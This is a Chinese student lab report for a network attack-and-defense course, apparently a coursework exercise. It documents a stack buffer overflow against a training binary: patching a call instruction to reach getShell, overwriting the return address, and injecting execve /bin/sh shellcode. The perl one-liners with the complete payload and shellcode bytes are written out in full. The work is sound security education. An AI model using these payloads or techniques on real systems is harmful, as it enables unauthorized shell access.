20222413 2024-2025-1 《网络与系统攻防技术》实验一实验报告

news/2024/10/6 15:35:59

1.实验内容

在本周的学习过程中,我了解到了许多缓冲区溢出攻击的实际案例、缓冲区溢出攻击的原理和相关基础知识,包括GDB调试器的使用方法、反汇编、基础的汇编语言与指令等,重新温习了函数调用过程和进程管理方面的知识内容。并且通过实验一,我能够了解并熟练完成Linux系统实验相关的基本操作,对shellcode技术有了初步的理解和认识。

2.实验过程

本次实验的对象是一个名为pwn20222413的linux可执行文件。该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。
三个实践内容如下:
(1)手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
第一步:通过共享文件夹将目标文件上传至Linux系统的虚拟机,反汇编查看文件的函数功能。

找到本次实验所用的三个代码片段foo、main和getshell。

文件中main函数"call 8048491"含义为调用8048491处的foo函数,其机器指令为e8 d7 ff ff ff,若修改d7ffffff为,"getShell-80484ba"对应的补码,即可调用getshell。经计算补码为c3ffffff。
第二步:修改文件内容,使main调用getshell
①输入vi pwn20222413进入pwn20222413文件。

②输入:%!xxd进入16进制模式,随后输入/e8 d7找到机器指令对应位置。

③按i编辑,将d7改为c3。

④输入:%!xxd -r转换为原格式后输入:wq保存并退出。

⑤再次反汇编查看文件是否正确更改

第三步:运行文件后得到shell提示符,操作成功

(2)利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
第一步:反汇编,foo函数具有Buffer overflow漏洞,读取字符超过缓冲区的部分会覆盖返回地址


第二步:确认输入字符串后哪些部分会覆盖返回地址
第一次输入1111111122222222333333334444444455555555

第二次输入1111111122222222333333334444444412345678

经检查发现首次输入eip部分全部被覆盖为5,第二次输入时eip部分被覆盖为1234,对比可以找到覆盖返回地址的输入位置,将对应位置改为getshell的内存地址0804847d即可修改返回地址,运行getshell。
第三步:确认字节序

对比第二步第二次输入eip 0x34333231 0x34333231,正确输入为11111111222222223333333344444444\x7d\x84\x04\x08。
第四步:构造输入字符串,使用16进制查看指令xxd查看input文件的内容是否如预期。将input的输入,通过管道符“|”,作为pwn1的输入。

输入ls后得到正确的文件夹内容,成功调用getshell,实验成功。

(3)注入一个自己制作的shellcode并运行这段shellcode。
第一步:修改pwn20222413的设置,设置堆栈可执行和关闭地址随机化。
第二步:构造注入的攻击buf并将其注入目标文件:
perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
上面最后的\x4\x3\x2\x1将覆盖到堆栈上的返回地址的位置。

第三步:打开另一个终端
①找到pwn20222413的进程号为:95182。
②启动gdb调试该进程。
③通过设置断点,来查看注入buf的内存地址。

④在另一个终端中按下回车后,在gbd中输入c,随后输入info r esp。

⑤找到01020304对应的地址0xffffcffc,即为返回地址。shellcode为紧挨着的下一个地址0xffffd000。
第四步:根据shellcode的地址更改shellcode并注入。
perl -e 'print "A" x 32;print "\x00\xd0\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shell

输入ls得到正确返回内容,实验成功。

3.问题及解决方案

  • 问题1:在修改机器指令部分中,我根据实验指导直接输入/e8d7发现找不到目标位置。
  • 问题1解决方案:在文档中e8和d7中间有一个空格,所以在搜索时在e8和d7中间加入一个空格即可找到对应位置。
  • 问题2:在注入shellcode部分中,我发现我的虚拟机中没有相关的execstack指令,更新资源库后在虚拟机中下载对应指令出现报错Unable to locate package execstack。
  • 问题2解决方案:在网络中下载execstack工具包后通过共享文件夹导入虚拟机,在虚拟机中安装。

4.学习感悟、思考等

在之前的学习当中,我接触了许多缓冲区溢出攻击的原理知识和相关案例,但是这次实验是我第一次尝试进行缓冲区溢出攻击。在实验的过程中,我根据实验指导一步步推进实验内容,同时在网络中搜索相关指令的含义,结合实验指导和运行结果进行理解和学习。通过实验,我熟悉了Linux系统的基本操作,学会了实验相关的gdb、vi操作,对于汇编、机器指令、EIP、指令地址有了进一步的理解。同时我也体会到了自主学习的重要性,在课堂之外,仍有广阔的知识天地。这次实验提高了我的自学意识和学习能力,大大激发了我对网络攻防技术的学习兴趣和学习热情,希望能够在未来的学习中了解掌握更多的网络攻防知识。

参考资料

  • 《0x11_MAL_逆向与Bof基础》

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.ryyt.cn/news/68339.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈,一经查实,立即删除!

相关文章

函数的上下文

函数的上下文 概述 在函数体的语句中,会出现this这个词,this就是函数的上下文 函数中this是谁,就说明函数的上下文是谁 函数中的this是谁,要看是如何调用的,因为this不是一成不变的 比如我们看下面的例子 var obj = {a: 100,fun: function() {console.log(this.a);} };我们…

拥挤聚集智能监测系统

拥挤聚集智能监测系统可以通过对人员数量、密度等进行实时监测,拥挤聚集智能监测系统识别出拥挤聚集的情况,并及时发出预警。拥挤聚集智能监测系统可以通过对人员进车间的人数等进行监测,识别出是否存在人员拥堵、挤压等安全隐患,及时发出警报,提醒工作人员采取措施疏散人…

睡岗识别 AI助力企业安全管控

睡岗识别可以通过AI视频智能分析技术,睡岗识别识别出操作人员是否存在睡岗情况。例如,在变电站等场景中,睡岗识别技术可以通过对识别出操作人员是否存在睡岗情况,及时发出预警,避免因操作人员的疏忽而导致的安全事故。在工厂车间中,睡岗识别技术可以通过对工人的行为进行…

加油站安全风险监测预警系统

加油站安全风险监测预警系统可以通过对加油站设备、环境、人员等方面进行监测,加油站安全风险监测预警系统实现对加油站的全面监管。例如,在加油站油罐区中,加油站安全风险监测预警系统可以对加油站人员抽烟打电话、明火烟雾等环境安全隐患进行自动识别,及时发出预警,避免…

山西煤矿电子封条

山西煤矿电子封条通过AI视觉分析技术,山西煤矿电子封条实现对各矿区(煤矿和非煤矿区)每日矿井出入井人监察控制、调度室空岗识别、煤矿生产作业状态、摄像头遮挡、挪动角度识别、货运车辆出矿识别等。山西煤矿电子封条实现当前待办事项的推送,以及对各矿区用户区域内的报警…

离岗识别 AI助力企业安全管控

离岗识别通过yolov5网络模型技术,离岗识别可以自动识别办公室、工厂、监控室监控画面中人员离岗脱岗睡岗等行为,发现违规行为立即抓拍告警并同步睡岗离岗等违规数据到后台提醒值班人员及时处理。离岗识别采用人工智能算法识别技术对各主控室、办公室、工厂、煤矿监控室等人员…

登高作业安全带穿戴识别系统 - 保障登高作业人员安全

登高作业安全带穿戴识别系统是一种通过Ai视觉智能分析技术,登高作业安全带穿戴识别系统实现对登高作业人员是否穿戴安全带进行监测的系统,登高作业安全带穿戴识别系统通过视频监控智能识别技术检测登高作业人员是否佩戴安全带,并及时发出警报,以提醒工作人员及时穿戴安全带…

MySQL单表存多大的数据量比较合适

前言 经常使用MySQL数据库的小伙伴都知道,当单表数据量达到一定的规模以后,查询性能就会显著降低。因此,当单表数据量过大时,我们往往要考虑进行分库分表。那么如何计算单表存储多大的数据量合适?当单表数据达到多大的规模时,我们才要进行分库分表呢? MySQL存储方式 首先…